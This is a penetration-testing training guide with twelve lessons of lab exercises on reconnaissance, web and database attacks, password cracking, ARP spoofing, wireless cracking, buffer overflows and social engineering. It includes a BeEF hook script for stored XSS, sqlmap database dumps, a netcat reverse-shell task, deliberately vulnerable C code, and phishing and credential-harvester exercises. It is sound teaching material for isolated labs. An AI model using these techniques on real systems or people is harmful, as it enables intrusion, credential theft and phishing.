

The Art of
Hacking

Introduction to Ethical Hacking
Live Training Guide

<https://h4cker.org/ethical-hacking>

By [Omar Santos](#)

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Introduction to Ethical Hacking and Penetration Testing Live Training

This guide is a collection of supplemental resources and exercises for the Pearson training "[Introduction Ethical Hacking and Penetration Testing](#)" live training authored and delivered by [Omar Santos](#) and delivered through Safari Books Online.

The author also has created a series of penetration testing / ethical hacking video courses called [The Art of Hacking Series](#).

Training Summary

This course is useful you are starting your cybersecurity career, seeking your [Certified Ethical Hacker](#), [Offensive Security Certified Professional \(OSCP\) Certification](#), or [CompTIA PenTest+](#) certifications; or just interested in learning more about cyber security, this two-day training session is a great place to start. No prior ethical hacking experience is needed.

This course provides step-by-step real-life scenarios. You will see first-hand how an ethical hacker performs initial reconnaissance of a victim and how to assess systems and network security controls security posture. This training includes live discussions, demos, whiteboard instruction and screencasts.

Helpful Resources Prior to Taking the Live Training:

- [Security Penetration Testing The Art of Hacking Series LiveLessons](#) (video)
- [Wireless Networks, IoT, and Mobile Devices Hacking](#) (video)
- [Enterprise Penetration Testing and Continuous Monitoring](#) (video)
- [Security Fundamentals](#) (video)

About the Author and Instructor:

[Omar Santos](#) is an active member of the security community, where he leads several industry-wide initiatives and standard bodies. His active role helps businesses, academic institutions, state and local law enforcement agencies, and other participants that are dedicated to increasing the security of the critical infrastructure.

Omar is the author of over 20 books and video courses; numerous white papers, articles, and security configuration guidelines and best practices. Omar is a Principal Engineer of Cisco's Product Security Incident Response Team (PSIRT) where he mentors and lead engineers and incident managers during the investigation and resolution of security vulnerabilities.

[Follow Omar on Twitter](#)

Agenda and Topics

DAY ONE

- Lesson 1: Overview of Ethical Hacking and Penetration Testing
- Lesson 2: Introduction to Kali Linux
- Lesson 3: Passive and Active Reconnaissance
- Lesson 4: Introduction to Hacking Web Applications
- Lesson 5: Introduction to Hacking User Credentials
- Lesson 6: Introduction to Hacking Databases

DAY TWO

- Lesson 7: Introduction to Hacking Networking Devices
- Lesson 8: Fundamentals of Wireless Hacking
- Lesson 9: Introduction to Buffer Overflows
- Lesson 10: Fundamentals of Evasion and Post Exploitation Techniques
- Lesson 11: Introduction to Social Engineering
- Lesson 12: How to Write Penetration Testing Reports

Lesson 1: Overview of Ethical Hacking and Penetration Testing

Disclaimer

The information provided on this training is for educational purposes only. The author, O'Reilly, or any other entity is in no way responsible for any misuse of the information. Some of the tools and technologies that you will learn in this training class may be illegal depending on where you reside. Please check with your local laws.

Please practice and use all the tools that are shown in this training in a lab that is not connected to the Internet or any other network.

Prerequisites and Other Resources

- [Cyber Security Fundamentals Live Training](#)
 - [Cyber Security Fundamentals \(CCNA Cyber Ops SECFND\) Course](#)
 - [Security Penetration Testing The Art of Hacking Series LiveLessons](#)
 - [Wireless Networks, IoT, and Mobile Devices Hacking](#) (video)
 - [Enterprise Penetration Testing and Continuous Monitoring](#) (video)
 - [The Art of Hacking Series](#) (new courses coming soon!)
-

Quick Definitions Needed for the Training

What is Penetration Testing or Ethical Hacking?

- An ethical hacker is as a person who is hired and permitted by an organization to attack its systems for the purpose of identifying vulnerabilities, which an attacker might take advantage of.
- The sole difference between the terms “malicious hacking” and “ethical hacking” is the permission.

What is a White Hat Hacker?

- Security professionals or security researchers that perform ethical hacking.
- Such hackers are employed by an organization and are permitted to attack an organization to find vulnerabilities that an attacker might be able to exploit.

What is a Black Hat Hacker?

- Sometimes also referred to as a cracker, threat actor, bad actor, or malicious attacker.
- Uses his or her knowledge for negative purposes.
- Of course, they are often referred to by the media as *hackers*.

What is a Gray Hat Hacker?

- Somewhere in between a white hat and a black hat hacker.
- For instance, a gray hat hacker would work as a white hat hacker for an organization and then disclose everything to them.
- But might leave a backdoor to access it later and might also sell the confidential information or carry other attacks for his or her benefit.

What is a Script Kiddie?

- From Google: "a person who uses existing computer scripts or code to hack into computers, lacking the expertise to write their own."

Elite (l33t, 1337) Hacker

- Has deep knowledge on how an exploit works.
- Such hacker is able to create exploits, but also modify codes that someone else wrote.
- In other words, someone with elite skills of hacking.

Hacktivist

- Hacktivists are defined as group of hackers that hack into computer systems for a cause or purpose.

- The purpose may be political gain, freedom of speech, human rights, and so on.

What is a Vulnerability?

- A vulnerability is an exploitable weakness in a system or its design.
- Vulnerabilities can be found in protocols, operating systems, applications, hardware, and system designs.

What is a threat?

- A threat is any potential danger to an asset.
- If a vulnerability exists but has not yet been exploited—or, more importantly, it is not yet publicly known—“the threat is latent and not yet realized.”

What is an Exploit?

- An exploit is software or a sequence of commands that takes advantage of a vulnerability in order to cause harm to a system or network.
- There are several methods of classifying exploits; however, the most common two categories are remote and local exploits.

What is an Exploit-Kit?

An exploit kit is a compilation of exploits that are often designed to be served from web servers.

Examples:

- Angler
- Mpack
- Fiesta
- Phoenix
- Blackhole
- Crimepack
- RIG

Cyber Security and Ethical Hacking Certifications

Penetration Testing / Ethical Hacking

- [EC-Council Certified Ethical Hacker \(CEH\)](#)
- [Offensive Security Certified Professional \(OSCP\)](#)
- [Offensive Security Wireless Professional](#)
- [Offensive Security Certified Expert](#)
- [Offensive Security Exploitation Expert](#)
- [Offensive Security Web Expert](#)
- [GIAC Penetration Testing Certification](#)

Check out other Safar live training to prepare for some of these certifications:

- <https://h4cker.org/training>

Tip: [Omar's PenTest+ Guide in Safari](#)

Other Popular Cyber Security Certifications

- [ISC2](#) - including CISSP, SSCP, CCSP, CAP, CSSLP, HCISPP, CISSP Concentrations
- Cisco Security Certifications:
 - [CCNA Cyber Ops](#)
 - [CCNA Security](#)
 - [CCNP Security](#)
 - [CCIE Security](#)
- [CompTIA Security+](#)
- [CompTIA Advanced Security Practitioner \(CASP\)](#)
- [ISACA Certifications](#) - including CISA, CISM, CGEIT, CRISC, and others.

Penetration Testing Methodologies

- [Penetration Testing Execution Standard](#)
- [OWASP Testing Guide](#)
- [NIST 800-115: Technical Guide to Information Security Testing and Assessment](#)
- [Open Source Security Testing Methodology Manual \(OSSTMM\)](#)

Lesson 2: Introduction to Kali Linux

Building Your Own Lab

- [Guidance on how to build your own lab](#) (video)
 - [VIRL and Operating System Software](#) (video)
 - [Building your own lab \(from PenTest+ book\)](#)
-

Exercise 2.1 - Download and Install WebSploit

WebSploit is a virtual machine (VM) created by Omar Santos for different [Cybersecurity Ethical Hacking \(Web Penetration Testing\) training sessions](#). The purpose of this VM is to have a lightweight (single VM) with a few vulnerable applications and the tools that come in Kali Linux (as well, as a few additional tools and a mobile device emulator).

1. Download Kali Linux from: <https://websploit.h4cker.org>
2. Become familiar with the Kali Linux architecture and all available tools.

Resources:

- [Installing Kali](#) (video)
- [Examining Kali Modules and Architecture](#) (video)

Step-by-Step Installation and Customization of Kali

- Great Resource! - [Kali Linux Revealed Book](#) (free!)
 - [Kali Training: Installing Kali Linux](#)
 - [Additional Kali Linux Tutorials](#) (blog posts)
-

Exercise 2.2 - Default Username and Password

1. The default username is root and the default password is toor. Change the default password.
2. Create an unprivileged user.

Resources:

- [Managing Kali Services](#) (video)
 - <https://kali.training/topic/managing-users-and-groups/>
-

Exercise 2.3 - Managing Kali Services

1. [Watch this video](#) and familiar with the different Kali Linux services.
2. Enable SSH and customize your installation.

Resources:

- [Managing Kali Services](#) (video)

Lesson 3: Passive and Active Reconnaissance

Lesson 3.1 - Passive Reconnaissance

1. Using your own system (i.e., desktop, laptop, or Kali Linux VM, etc.) find your public IP address and lookup all information you can about it.
2. Try whatsmyip.org or ipchicken.com
3. Pick a random company or institution that is not a Fortune 500 or a big Internet service provider (ISP), so that makes it harder for you to find information about it. Do NOT launch any active recon against such organization.
 - i. You can use Maltego for this. Watch [this video](#) if you are not familiar with Maltego.
4. Also use recon-ng and the harvester. If you want a refresher on how to use these tools, watch [this video](#) and [this one](#).
 - i. Find any information you can about network infrastructure
 - ii. Registered domain names
 - iii. IP Address allocations
 - iv. Open services and banners

Leverage the tools listed at: theartofhacking.org/recon

Exercise 3.2 - Active Reconnaissance

1. Review the [Active Recon videos](#) part of the [Security Penetration Testing The Art of Hacking Series LiveLessons](#).
2. Launch **nmap** from your Kali Linux box.
3. Only scan devices that are in your lab! As we discussed in the class, the best way to do this is to build a local lab with virtual machines on a segregated network. Using nmaptry to learn the hosts that are active in your network and all the "victims" you can find.
4. Once you find all the active hosts, try to find all the open TCP and UDP ports on those machines. Nmap doesn't scan all ports by default. It limits itself to 1000 or so common ports. Figure out how to overcome this limitation.
5. Add Server Version checks (nmap -sV) to gain more information.

NMAP Cheat Sheets

- [Nathan House's nmap cheat sheet](#)
- [Tons of other cheat sheets](#)

Further Reading: [Information Gathering and Vulnerability Identification](#)

Exercise 3.3 - Metasploit and nmap

- You can add the results from nmap to the Metasploit database. In order to do so, start the postgresql service:

```
root@kali:~# systemctl start postgresql.service
root@kali:~# systemctl status postgresql.service

postgresql.service - PostgreSQL RDBMS
Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor
preset: disabled)
Active: active (exited) since Wed 2018-02-21 22:59:18 EST; 7s ago
Process: 3432 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
Main PID: 3432 (code=exited, status=0/SUCCESS)

Feb 21 22:59:18 kali systemd[1]: Starting PostgreSQL RDBMS...
Feb 21 22:59:18 kali systemd[1]: Started PostgreSQL RDBMS.
root@kali:~#
```

- Initialize the msf database:

```
root@kali:~# msfdb init
Creating database user 'msf'
Enter password for new role:
Enter it again:
Creating databases 'msf' and 'msf_test'
Creating configuration file in
/usr/share/metasploit-framework/config/database.yml
Creating initial database schema
root@kali:~#
```

- Launch msfconsole.

```
root@kali:~# msfconsole
msf > db_status
[*] postgresql connected to msf
msf >
```

- Using db_nmap instead of nmap. For example:

```

msf > db\_nmap -sV 192.168.78.8
[*] Nmap: Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-21 23:02 EST
[*] Nmap: Nmap scan report for 192.168.78.8
[*] Nmap: Host is up (1.1s latency).
[*] Nmap: Not shown: 994 closed ports
[*] Nmap: PORT      STATE      SERVICE      VERSION
[*] Nmap: 22/tcp    open      ssh          OpenSSH 7.2p2 Ubuntu 4ubuntu2.4
(Ubuntu Linux; protocol 2.0)
[*] Nmap: 80/tcp    open      http         Apache httpd 2.4.10 ((Debian))
[*] Nmap: 139/tcp   open      netbios-ssn Samba smbd 3.X - 4.X (workgroup:
WORKGROUP)
[*] Nmap: 445/tcp   open      netbios-ssn Samba smbd 3.X - 4.X (workgroup:
WORKGROUP)
[*] Nmap: 514/tcp   filtered  shell
[*] Nmap: 8080/tcp  open      http-proxy
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 27.10 seconds
msf >
msf > services

Services
=====

host      port  proto  name          state  info
----
192.168.78.8  22    tcp    ssh          open   OpenSSH 7.2p2 Ubuntu
4ubuntu2.4 Ubuntu Linux; protocol 2.0
192.168.78.8  80    tcp    http         open   Apache httpd 2.4.10
(Debian)
192.168.78.8  139   tcp    netbios-ssn  open   Samba smbd 3.X - 4.X
workgroup: WORKGROUP
192.168.78.8  445   tcp    netbios-ssn  open   Samba smbd 3.X - 4.X
workgroup: WORKGROUP
192.168.78.8  514   tcp    shell        filtered
192.168.78.8  8080  tcp    http-proxy   open
msf >

```

Exercise 3.4 - Wireshark

1. Open Wireshark and listen to the traffic on the interface that you have connected to the network.
 - i. What protocols are present?
 - ii. Filter for:

```
\* arp
\* netbios
\* rip
\* udp.port = 53
\* etc..
```

Exercise 3.5 - NMAP Scripting Engine

- Bonus - become familiar with the nmap scripting engine: <https://nmap.org/book/nse.html>
-

Further Reading: [Information Gathering and Vulnerability Identification](#)

Lesson 4: Introduction to Hacking Web Applications

A few popular vulnerable operating systems that you can use (free) to build a hacking lab and practice your skills are:

- [Metasploitable](#)
- [Damn Vulnerable Web App \(DVWA\)](#)
- [Damn Vulnerable Linux \(DVL\)](#)
- [WebGoat](#)

Additional vulnerable servers and websites that you can use to practice are located at the [GitHub repository for The Art of Hacking Training](#).

All of these are great sources to test various types of attacks against, including the tools available within Kali Linux.

Exercise 4.1 - Damn Vulnerable Web App, Nikto, and More

1. Install [Damn Vulnerable Web App \(DVWA\)](#) in a VM ([VirtualBox](#) or [VMWare](#)).
2. Run an nmap scan from your Kali Linux VM to find out all the ports open in that VM.
3. Become familiar with [the tool called Nikto](#) and launch the tool against the DVWA VM.

```
# nikto -host <ip_address_of_dvwa_host>
```

Exercise 4.2 - WebGoat

1. Install [WebGoat](#) on a VM, Docker container, or physical bare metal machine (up to you ;-)).
2. [WebGoat](#) is a monster and a super useful framework for you to learn about tons of web application vulnerabilities and related-attacks. I strongly suggest going over all of the lessons and challenges there. They provide step-by-step instructions on how to perform each attack.

To install it using a Docker container do the following:

```
docker pull webgoat/webgoat-8.0
docker run -p 8080:8080 -t webgoat/webgoat-8.0
```

For the latest development version of WebGoat, see <https://github.com/WebGoat/WebGoat/wiki>

Exercise 4.3 - Burp Suite

1. Become familiar with [BurpSuite](#).
2. Start BurpSuite.
3. Choose Temporary project, Click Next
4. Choose Use Burp defaults, Click Start Burp
5. Click on the Proxy tab, then Intercept. Make sure Intercept is Off.
6. Set Firefox in Kali to use BurpSuite as a proxy and disable captive portal detection.
Using Firefox on Kali, browse to about:config. Choose **I Accept the Risk**. Search for captive. Set network.captive-portal-service.enabled to false. Proxy settings can be found in **Open Menu** → **Preferences** → **Advanced** → **Network** → **Configure how Firefox connects to the Internet** → **Settings...**
7. Select Manual proxy configuration and make sure HTTP Proxy is set to localhost and port **8080**
8. Using Firefox, browse to **http://<your_dvwa_ip_address>/dvwa**. You should see the request show up in BurpSuite under HTTP History
9. Change the Security Level of DVWA to Low. This can be found in DVWA Security.
10. Start the beef-xss service:

```
# service beef-xss start
```

Make sure you can reach the BeEF UI authentication page at <http://localhost:3000/ui/authentication>

Note: By default, requests to localhost will not be sent to BurpSuite with the default proxy settings

- Log in with the username *beef* and password *beef* .
- In a new tab, navigate to XSS Reflected. You can view the PHP source code by clicking the View Source button at the bottom of the page. Try placing your name in the Textbox and click Submit. From looking at BurpSuite, how was your name sent to the server? Trigger a reflected XSS alert and print out the current document cookie.
- Navigate to XSS Stored. Figure out a way to insert a BeEF Hook:
-

```
<script src="http://192.168.1.2:3000/hook.js" type="text/javascript"></script>
```

- From the BeEF UI, see if the Windows browser is hooked. If not, figure out why not.
- Type your name and a message from Windows in the message and store it.
- What version of Firefox is running on the hooked Windows Browser?
- What is the size of the screen?

- See if you can see the characters that were entered in Windows from the Beef UI. You may need to refresh the log Create a prompt dialog with the message of your choice. (Commands → Browser → Hooked Domain)
 - Finally, get the hooked browser's cookie.
-

Exercise 4.4 - SQL Injection

1. Navigate to SQL Injection. Enumerate users on the system with an SQL injection.
2. Use SQLMap to dump the database.

```
# sqlmap --cookie="<cookie>"  
--url="http://metasploitable/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"  
--string="surname" --dump
```

Exercise 4.5 - Command Execution

1. Navigate to Command Execution.
 2. Inject the command id. What user is PHP running as?
 3. Spawn a reverse shell using netcat.
-

Exercise 4.6 - Metasploit Unleashed

Complete the [Metasploit Unleashed Training Exercises](#) for Web Application Exploit Development.

This is a great resource by the folks from Offensive Security.

Exercise 4.7 - OWASP zaproxy

1. Launch the OWASP zaproxy and perform a scan to your vulnerable server. [These videos](#) may be useful and of course, the demos that I showed you during the training.
2. Did you find similar vulnerabilities?
3. Use zaproxy as a proxy and intercept the data send to your victim.

Further Reading: [Exploiting Application-based Vulnerabilities](#)

Lesson 5: Introduction to Hacking User Credentials

References:

- [Understanding Authentication and Authorization Mechanisms](#) (video)
 - [Understanding Authentication and Authorization Attacks](#) (video)
 - [Exploring Password Storage Mechanisms](#) (video)
 - [Understanding Password Storage Vulnerability](#) (video)
 - [Cracking Passwords with John the Ripper](#) (video)
 - [Cracking Passwords with hashcat](#) (video)
 - [Improving Password Security](#) (video)
 - [Surveying Password Cracking and Reporting](#) (video)
-

Exercise 5.1 - Default Passwords

Default passwords are often left unchanged in many devices. You can certainly take advantage of this "malpractice". Become familiar with the default password databases available on the Internet:

- <http://www.phenoelit-us.org/dpl/dpl.html>
- <http://cirt.net/passwords>
- <http://www.defaultpassword.com>
- <http://www.passwordsdatabase.com>
- <http://www.isdpodcast.com/resources/62k-common-passwords/>

Exercise 5.2 - Cracking Passwords

- In your Kali machine, create three (3) users (user1, user2, and user3).

```
root@kali#adduser user1
root@kali#adduser user2
root@kali#adduser user3
```

- Configure the password with the `passwd user1` command to the word `password`
- Configure the password with the `passwd user2` command to `thisissecure`
- Configure the password with the `passwd user3` command to `P4sswd`.
- Use John the Ripper to try to crack the password and see how long it takes for the passwords to be cracked:

```
root@kali#john /etc/shadow
```

- Become familiar with [Skull Security Password dumps](#) and references. [This post](#) includes another good tutorial on password cracking that you can also replicate in your lab

Lesson 6: Introduction to Hacking Databases

Exercise 6.1 - SQL Injection Part Deux

- Use Burp proxy as you learned in class to capture all data between your browser and the DVWA. Make sure that you setup your browser proxy settings to use Burp as the proxy (i.e., **127.0.0.0 port 8080** by default).
- Navigate to SQL Injection in the DVWA.
- Enter a string in the username form.
- Capture the request on Burp and save it to a file. For example, sql_test.txt
- Launch sqlmap using the file:

```
sqlmap -r sql_test.txt --dbs
```

- Follow the instructions in sqlmap.
- You should see the databases in the system. Then use the following command to dump the database content:

```
sqlmap -r sql_test.txt -D dvwa --dump-all
```

Exercise 6.2 - Zaproxy

1. You can do similar things with the OWASP zaproxy. Make sure that Burp is not running and launch the **zaproxy**.
2. For this one, I am not going to give you a lot of instructions ;-)) Try to figure out how to perform a SQL injection using **zaproxy** to the same DVWA.

Additional References:

- [Exploring How to Target Hosts](#)
- [Exploring Web App Testing Essential Tools](#)
- [Understanding Enterprise Application Continuous Testing](#)

Lesson 7: Introduction to Hacking Networking Devices

✨ Great explanation by Chris McCoy at: https://theartofhacking.org/go/hacking_networks.html

Exercise 7.1 - Creating a Virtual Lab & Performing an ARP Cache Poisoning Attack

1. Create a virtual network using two VMs (Kali and any other small Linux VM, as a victim) and use either a physical Layer 3 switch or router; or [Open vSwitch](#).
 2. Use the arping tool to retrieve the MAC address of your router.
 3. Perform a ARP Cache poisoning attack using the arpspoof tool as shown in [the video demonstration](#) and use the dsniff tool to capture packets. [dsniff is a collection of tools](#) created by Dug Song. These are used for network auditing and penetration testing including dsniff, filesnarf, mailsnarf, msgsnarf, urlsnarf, and webspay (used to passively monitor a network).
-

Exercise 7.2 - Using Scapy

1. Become familiarized with scapy with [this video](#) and [these docs](#). Feel free to use [this scapy cheat sheet](#).
 2. A good way is to go over [the interactive tutorial here](#).
 3. Create a scapy script that will allow you to:
 - i. retrieve the MAC address of your router
 - ii. Perform the ARP cache poisoning attack that you completed using arpspoof. Then use dsniff to passively monitor the traffic.
-

Exercise 7.3 - Man-in-the-Middle with socat, mitmproxy, and ettercap

1. Perform a MiTM attack using socat, mitmproxy, and ettercap, following [the instructions in this video](#).
-

Exercise 7.4 (Optional VIRL Setup)

1. Watch [this video](#) about how to create a quick lab using the Virtual Internet Routing Lab Personal Edition (VIRL PE) lab infrastructure (not free!). [VIRL](#) is a powerful network virtualization and orchestration platform that enables the development of highly accurate models of existing or planned networks.
2. Download [the VIRL topology files](#) and follow along [these demonstrations](#).

Lesson 8: Fundamentals of Wireless Hacking

DO NOT HACK YOUR NEIGHBOR!

Use these instructions on a controlled lab and in your own wireless network.

Exercise 8.1 - Building Your Own Wireless Lab

1. In the training we covered the different wireless adapters, antennas, and other devices. You can also watch [this video for additional references](#).
 2. Make sure that you install and configure a wireless adapter that can not only monitor wireless communication, but that can also inject frames into a wireless network. I also have a write-up about recommendations of wireless adapters in this [GitHub repository](#).
 3. Use airon-ng to setup your adapter in monitoring mode.
 4. Use airodump-ng to monitor the wireless networks that are in your proximity. Can you find your wireless router? Record the channel, BSSID, and ESSID.
-

Exercise 8.2 - Cracking WEP

1. Setup your wireless router to perform WEP authentication.
 2. Use aircrack-ng to crack your WEP password. Follow [this video for step-by-step instructions](#).
-

Exercise 8.3 - Attacking WPA Networks

1. Setup your wireless router to perform WPA pre-shared key authentication.
 2. Follow [this video](#) and use aircrack-ng to crack your WPA password.
-

Exercise 8.4 - Surveying other tools

1. Use cowpatty to crack the WPA pre-shared key.
2. You can follow the [step-by-step instructions in this video](#).

Additional Wireless References:

Wireless Client Attacks

- [Understanding Wireless Client Attacks and Their Motives](#)
- [Learning Packet Injection Attacks](#)
- [Eavesdropping and Manipulating Unencrypted Wi-Fi Communications](#)
- [Attacking Publicly Secure Packet Forwarding \(PSPF\)](#)
- [Attacking the Preferred Network List \(PNL\)](#)

Building Your Wireless Lab and Attack Hardware

- [Understanding Wireless Antennas](#)
- [Surveying Wi-Fi Devices Like the Pineapple](#)
- [Building Your Own Lab](#)

Aircrack-ng

- Learning objectives
- [Introducing the Aircrack-ng Suite](#)
- [Introducing Airmon-ng](#)
- [Understanding Airodump-ng](#)
- [Introducing Aireplay-ng](#)
- [Introducing Airdecap-ng](#)
- [Introducing Aircserv-ng](#)
- [Introducing Airtun-ng](#)

Cracking WEP

- [Understanding WEP Fundamentals](#)
- [Learning How to Crack WEP](#)

Hacking WPA

- [Understanding WPA Fundamentals](#)

- [Surveying Attacks Against WPA2-PSK Networks](#)
- [Using coWPATy](#)
- [Using Pyrit](#)
- [Exploring WPA Enterprise Hacking](#)

Performing Wireless Reconnaissance

- [Using Kismet](#)
- [Using Wireshark](#)
- [Learning How to Hack Default Configurations](#)

Evil Twins and Rogue Access Points

- [Defining Evil Twin Attacks](#)
- [Performing Evil Twin Attacks](#)
- [Using Karmetasloit](#)
- [Exploring the WiFi Pineapple](#)

Attacking Bluetooth

- [Understanding Bluetooth Vulnerabilities](#)
- [Surveying Tools for Bluetooth Monitoring](#)

Attacking NFC

- [Understanding NFC Vulnerabilities](#)
- [Exploring NFC Attacks and Case Studies](#)

Further Reading: [Exploiting Wired and Wireless Networks](#)

Lesson 9: Introduction to Buffer Overflows

This is a great resources explaining what are buffer overflows. <https://youtu.be/1S0aBV-Waao>



Exercise 9.1

1. In addition to the reference above [learn how to exploit buffer overflows from this video](#) and as you learned during the live training demonstration.
2. Use and modify the following code:

```
#include <stdio.h>

void omarSecretFunction()
{
    printf("Omar's Crappy Function\n");
    printf("This is a super secret function!\n");
}

void echo()
{
    char buffer[20];

    printf("Please enter your name:\n");
    scanf("%s", buffer);
    printf("You entered: %s\n", buffer);
}

int main()
{
    echo();

    return 0;
}
```

- The char **buffer[20]**; is a really bad idea here.
- Compile this into a 32 bit binary:

If you are using a 32-bit system, it can be as easy as:

```
gcc vuln.c -o vuln -fno-stack-protector
```

On a 64-bit system use:

```
gcc vuln.c -o vuln -fno-stack-protector -m32
```

-fno-stack-protector disables stack protection and **-m32** forces to do compilation in 32-bit. Note: Additional libraries may be needed in order for you to compile 32 bit binaries on 64 bit machines. It all depends on your machine.

1. Use **edb --run <the_name_of_your_binary>** to debug the code and try to create a payload that will invoke `omarSecretFunction()`.

You can use tools like [msfvenom](#) to generate shellcode.

Additional References:

- [Learning Privilege Escalation Methodologies](#)
- [Understanding Lateral Movement](#)
- [Surveying Privilege Escalation Essential Tools](#)

Lesson 10: Fundamentals of Evasion and Post Exploitation Techniques

This section is mostly to provide you additional references and requires that you already have the following:

1. A vulnerable Windows machine.
 2. You have already used a successful exploit to get a foothold of the victim machine.
-

Exercise 10.1 - Maintaining persistence, pivoting, and data exfiltration.

- [Watch this video\(s\)](#) to refresh your memory of what you learned in class about maintaining persistence, pivoting, and data exfiltration.
-

Exercise 10.2 - Learn how to evade detection and cover your tracks.

- [Watch this video](#) to learn how to evade detection and cover your tracks.
-

Additional References:

- [Understanding Persistent Access](#)
- [Learning How to Achieve Domain Admin Access](#)
- [Understanding How to Compromise User Credentials](#)
- [Surveying Password Cracking and Reporting](#)
- [Understanding That Domain Admin Is Not the End Goal](#)
- [Searching for Sensitive Data](#)
- [Understanding Data Exfiltration Techniques](#)
- [Understanding How to Cover Your Tracks](#)
- [FREE Offensive Security Metasploit training: Post Exploitation](#)

Further Reading: [Performing Post-Exploitation Techniques](#)

Lesson 11: Introduction to Social Engineering

Exercise 11.1 - Spear-Phishing Attack Vectors

1. Review [this video](#) to learn more about the [Social Engineering Toolkit \(SET\)](#).
2. Create a spear phishing email to send a malicious payload taking advantage of the Adobe Collab.getIcon Buffer Overflow vulnerability using SET.
3. Create a custom email template and use an open mail relay (you will need to create one). Alternatively, use gmail.

Additional References:

- [Surveying Social Engineering Methodologies](#)
 - [Understanding How to Target Employees](#)
 - [Exploiting Social Engineering Tools](#)
-

Exercise 11.2 - Website Attack Vectors

1. Use SET to launch a social engineering (web-based attack).
 2. Use the Metasploit Browser Exploit Method and use the Adobe Flash Player Nellymoser Audio Decoding Buffer Overflow.
 3. Do not use a template. Become familiar on how to clone a website using SET.
 4. Spawn a meterpreter shell on victim and send back to you (the attacker).
-

Exercise 11.3 - Credential Harvester Attack Method

1. Use SET to launch a social engineering (web-based attack).
 2. In this case use the Credential Harvester Attack Method.
 3. Do not use a website template or clone any site. Create your own HTML and select custom import.
-

Exercise 11.4 - (Bonus) QR Code Generator Attack Vector

1. Use SET to generate a QR code for a fake website.
2. Save the QR code under `.set/reports/qrcode_attack.png`.
3. Use SET to create an infected media file leveraging the MSCOMCTL ActiveX Buffer Overflow vulnerability. Host it on the fake website and try to infect the victim. This of course, requires that you have a vulnerable Windows machine (vulnerable to ms12-027).

Lesson 12: How to Write Penetration Testing Reports

These are mostly references vs. actual exercises...

Exercise 12.1 - Penetration Testing Report Templates and Format

1. [Watch these videos](#) and [these ones](#) as a reference.
2. You can access dozens of real-life penetration testing reports in [our GitHub repository](#).
3. Create an example report of all the activities and findings in the previous lesson. Make sure that you have a good executive summary. If you like the results and are proud of your report, feel free to contribute it to the GitHub repository by [making a pull request](#). [Watch this video if you do not know how to make a pull request](#).

Exercise 12.2 - Dradis

1. [Dradis](#) comes installed in Kali Linux, but you can also download it from <https://dradisframework.com/ce/>.

1. Perform an nmap scan to your victim host(s) and export the results to XML.
2. Use the Upload output from tool functionality to import the results of your scan.
3. Create custom methodologies.
4. Try to become familiar with the tool and create reports.

Bonus : Download the Offensive Security OSCP report template for Dradis:

<https://dradisframework.com/academy/industry/compliance/oscp/>

Use it as a general guidance whether you are preparing for the certification or just starting to learn penetration testing concepts.

Additional Cybersecurity Courses and Live Training

Ethical Hacking Courses

- [Security Penetration Testing \(The Art of Hacking Series\) LiveLessons](#)
- [Wireless Networks, IoT, and Mobile Devices Hacking \(The Art of Hacking Series\)](#)
- [Enterprise Penetration Testing and Continuous Monitoring The Art of Hacking](#)
- [Hacking Web Applications The Art of Hacking Series LiveLessons: Security Penetration Testing for Today's DevOps and Cloud Environments](#)

Other Safari Cybersecurity Live Training

- [Ethical Hacking Bootcamp with Hands-on Labs](#)
- [CompTIA PenTest+ Crash Course](#)
- [Certified Ethical Hacker \(CEH\) Crash Course](#)
- [Cybersecurity Offensive and Defensive Techniques in 3 Hours](#)
- [Cyber Security Fundamentals](#)
- [Intense Introduction to Hacking Web Applications](#)
- [Introduction to Ethical Hacking and Penetration Testing](#)
- [Introduction to Digital Forensics and Incident Response \(DFIR\)](#)

Certifications

Certified Ethical Hacker (CEH)

- [Certified Ethical Hacker \(CEH\) Crash Course](#)

CompTIA PenTest+

- [CompTIA PenTest+ Crash Course](#)

CCNA CYBER OPS

- [CCNA Cyber Ops SECFND 210-250 Video Course](#)
- [CCNA Cyber Ops SECOPS 210-255 Video Course](#)
- [Learning Path: CCNA Cyber Ops SECFND \(210-250\) and SECOPS \(210-255\)](#)
- [CCNA Cyber Ops SECFND 210-250 Official Cert Guide](#)
- [CCNA Cyber Ops SECOPS 210-255 Official Cert Guide](#)
- [Cisco NetFlow for Cyber Security Big Data Analytics](#)

CCNA SECURITY

- [CCNA Security Video Course](#)
- [CCNA Security 210-260 Official Cert Guide](#)
- [Cisco Firepower and Advanced Malware Protection LiveLessons](#)
- [Cisco Next-Generation Security Solutions: All-in-one Cisco ASA Firepower Services, NGIPS, and AMP](#)
- [Cisco NetFlow for Cyber Security Big Data Analytics](#)